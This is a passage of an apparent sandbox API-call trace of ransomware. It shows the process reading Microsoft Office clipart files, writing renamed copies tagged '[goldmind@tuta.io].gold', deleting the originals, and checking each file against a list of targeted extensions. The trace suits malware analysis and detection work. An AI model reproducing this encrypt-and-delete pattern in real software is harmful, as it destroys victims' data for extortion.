out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.787] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.787] SetEndOfFile (hFile=0x38c) returned 1 [0105.787] CloseHandle (hObject=0x38c) returned 1 [0105.787] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.787] SetEndOfFile (hFile=0x3b0) returned 1 [0105.789] CloseHandle (hObject=0x3b0) returned 1 [0105.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.789] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf")) returned 1 [0105.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0105.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0105.790] lstrlenW (lpString=".doc") returned 4 [0105.790] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.790] lstrlenW (lpString=".docx") returned 5 [0105.790] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0105.790] lstrlenW (lpString=".pdf") returned 4 [0105.790] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.790] lstrlenW (lpString=".xls") returned 4 [0105.790] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.790] lstrlenW (lpString=".xlsx") returned 5 [0105.790] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0105.790] lstrlenW (lpString=".ppt") returned 4 [0105.790] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0105.790] lstrlenW (lpString=".zip") returned 4 [0105.790] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.790] lstrlenW (lpString=".rar") returned 4 [0105.790] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.790] lstrlenW (lpString=".bz2") returned 4 [0105.790] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.790] lstrlenW (lpString=".7z") returned 3 [0105.790] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0105.790] lstrlenW (lpString=".dbf") returned 4 [0105.790] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0105.790] lstrlenW (lpString=".1cd") returned 4 [0105.790] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0105.790] lstrlenW (lpString=".jpg") returned 4 [0105.790] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0105.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0105.790] lstrlenW (lpString=".doc") returned 4 [0105.790] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.790] lstrlenW (lpString=".docx") returned 5 [0105.791] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0105.791] lstrlenW (lpString=".pdf") returned 4 [0105.791] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.791] lstrlenW (lpString=".xls") returned 4 [0105.791] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.791] lstrlenW (lpString=".xlsx") returned 5 [0105.791] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0105.791] lstrlenW (lpString=".ppt") returned 4 [0105.791] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0105.791] lstrlenW (lpString=".zip") returned 4 [0105.791] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.791] lstrlenW (lpString=".rar") returned 4 [0105.791] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.791] lstrlenW (lpString=".bz2") returned 4 [0105.791] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.791] lstrlenW (lpString=".7z") returned 3 [0105.791] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0105.791] lstrlenW (lpString=".dbf") returned 4 [0105.791] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0105.791] lstrlenW (lpString=".1cd") returned 4 [0105.791] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0105.791] lstrlenW (lpString=".jpg") returned 4 [0105.791] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.791] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.791] lstrlenW (lpString="J0105588.WMF") returned 12 [0105.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.792] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=21548) returned 1 [0105.792] CloseHandle (hObject=0x3b0) returned 1 [0105.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf")) returned 0x20 [0105.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.792] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.792] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0105.794] GetLastError () returned 0x0 [0105.794] ReadFile (in: hFile=0x3b0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x542c, lpOverlapped=0x0) returned 1 [0105.811] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x5430, lpOverlapped=0x0) returned 1 [0105.812] ReadFile (in: hFile=0x3b0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.812] WriteFile (in: hFile=0x38c, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.812] SetEndOfFile (hFile=0x38c) returned 1 [0105.813] CloseHandle (hObject=0x38c) returned 1 [0105.813] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.813] SetEndOfFile (hFile=0x3b0) returned 1 [0105.815] CloseHandle (hObject=0x3b0) returned 1 [0105.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf")) returned 1 [0106.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0106.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0106.031] lstrlenW (lpString=".doc") returned 4 [0106.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.031] lstrlenW (lpString=".docx") returned 5 [0106.031] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0106.031] lstrlenW (lpString=".pdf") returned 4 [0106.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.031] lstrlenW (lpString=".xls") returned 4 [0106.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.031] lstrlenW (lpString=".xlsx") returned 5 [0106.031] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0106.031] lstrlenW (lpString=".ppt") returned 4 [0106.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0106.031] lstrlenW (lpString=".zip") returned 4 [0106.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.031] lstrlenW (lpString=".rar") returned 4 [0106.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.031] lstrlenW (lpString=".bz2") returned 4 [0106.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.031] lstrlenW (lpString=".7z") returned 3 [0106.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0106.031] lstrlenW (lpString=".dbf") returned 4 [0106.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0106.031] lstrlenW (lpString=".1cd") returned 4 [0106.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0106.031] lstrlenW (lpString=".jpg") returned 4 [0106.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0106.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0106.031] lstrlenW (lpString=".doc") returned 4 [0106.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.031] lstrlenW (lpString=".docx") returned 5 [0106.031] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0106.031] lstrlenW (lpString=".pdf") returned 4 [0106.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.031] lstrlenW (lpString=".xls") returned 4 [0106.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.031] lstrlenW (lpString=".xlsx") returned 5 [0106.031] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0106.032] lstrlenW (lpString=".ppt") returned 4 [0106.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0106.032] lstrlenW (lpString=".zip") returned 4 [0106.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.032] lstrlenW (lpString=".rar") returned 4 [0106.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.032] lstrlenW (lpString=".bz2") returned 4 [0106.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.032] lstrlenW (lpString=".7z") returned 3 [0106.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0106.032] lstrlenW (lpString=".dbf") returned 4 [0106.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0106.032] lstrlenW (lpString=".1cd") returned 4 [0106.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0106.032] lstrlenW (lpString=".jpg") returned 4 [0106.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.032] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0106.032] lstrlenW (lpString="J0105974.WMF") returned 12 [0106.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0106.032] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=4612) returned 1 [0106.033] CloseHandle (hObject=0x188) returned 1 [0106.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf")) returned 0x20 [0106.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0106.033] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.033] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0106.034] GetLastError () returned 0x0 [0106.034] ReadFile (in: hFile=0x188, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x1204, lpOverlapped=0x0) returned 1 [0106.045] WriteFile (in: hFile=0x3b8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1210, lpOverlapped=0x0) returned 1 [0106.047] ReadFile (in: hFile=0x188, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0106.047] WriteFile (in: hFile=0x3b8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0106.047] SetEndOfFile (hFile=0x3b8) returned 1 [0106.047] CloseHandle (hObject=0x3b8) returned 1 [0106.047] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.047] SetEndOfFile (hFile=0x188) returned 1 [0106.048] CloseHandle (hObject=0x188) returned 1 [0106.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf")) returned 1 [0106.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0106.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0106.062] lstrlenW (lpString=".doc") returned 4 [0106.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.062] lstrlenW (lpString=".docx") returned 5 [0106.062] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0106.062] lstrlenW (lpString=".pdf") returned 4 [0106.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.062] lstrlenW (lpString=".xls") returned 4 [0106.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.062] lstrlenW (lpString=".xlsx") returned 5 [0106.062] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0106.062] lstrlenW (lpString=".ppt") returned 4 [0106.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0106.062] lstrlenW (lpString=".zip") returned 4 [0106.062] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.062] lstrlenW (lpString=".rar") returned 4 [0106.062] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.063] lstrlenW (lpString=".bz2") returned 4 [0106.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.063] lstrlenW (lpString=".7z") returned 3 [0106.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0106.063] lstrlenW (lpString=".dbf") returned 4 [0106.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0106.063] lstrlenW (lpString=".1cd") returned 4 [0106.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0106.063] lstrlenW (lpString=".jpg") returned 4 [0106.063] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0106.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0106.063] lstrlenW (lpString=".doc") returned 4 [0106.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.063] lstrlenW (lpString=".docx") returned 5 [0106.063] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0106.063] lstrlenW (lpString=".pdf") returned 4 [0106.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.063] lstrlenW (lpString=".xls") returned 4 [0106.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.063] lstrlenW (lpString=".xlsx") returned 5 [0106.063] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0106.063] lstrlenW (lpString=".ppt") returned 4 [0106.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0106.063] lstrlenW (lpString=".zip") returned 4 [0106.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.063] lstrlenW (lpString=".rar") returned 4 [0106.063] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.063] lstrlenW (lpString=".bz2") returned 4 [0106.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.063] lstrlenW (lpString=".7z") returned 3 [0106.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0106.063] lstrlenW (lpString=".dbf") returned 4 [0106.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0106.063] lstrlenW (lpString=".1cd") returned 4 [0106.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0106.063] lstrlenW (lpString=".jpg") returned 4 [0106.064] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.064] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0106.064] lstrlenW (lpString="J0106146.WMF") returned 12 [0106.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0106.064] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=23548) returned 1 [0106.064] CloseHandle (hObject=0x39c) returned 1 [0106.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf")) returned 0x20 [0106.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0106.065] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.065] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0106.066] GetLastError () returned 0x0 [0106.066] ReadFile (in: hFile=0x39c, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x5bfc, lpOverlapped=0x0) returned 1 [0106.081] WriteFile (in: hFile=0x180, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x5c00, lpOverlapped=0x0) returned 1 [0106.083] ReadFile (in: hFile=0x39c, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0106.083] WriteFile (in: hFile=0x180, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0106.083] SetEndOfFile (hFile=0x180) returned 1 [0106.083] CloseHandle (hObject=0x180) returned 1 [0106.084] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.084] SetEndOfFile (hFile=0x39c) returned 1 [0106.087] CloseHandle (hObject=0x39c) returned 1 [0106.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 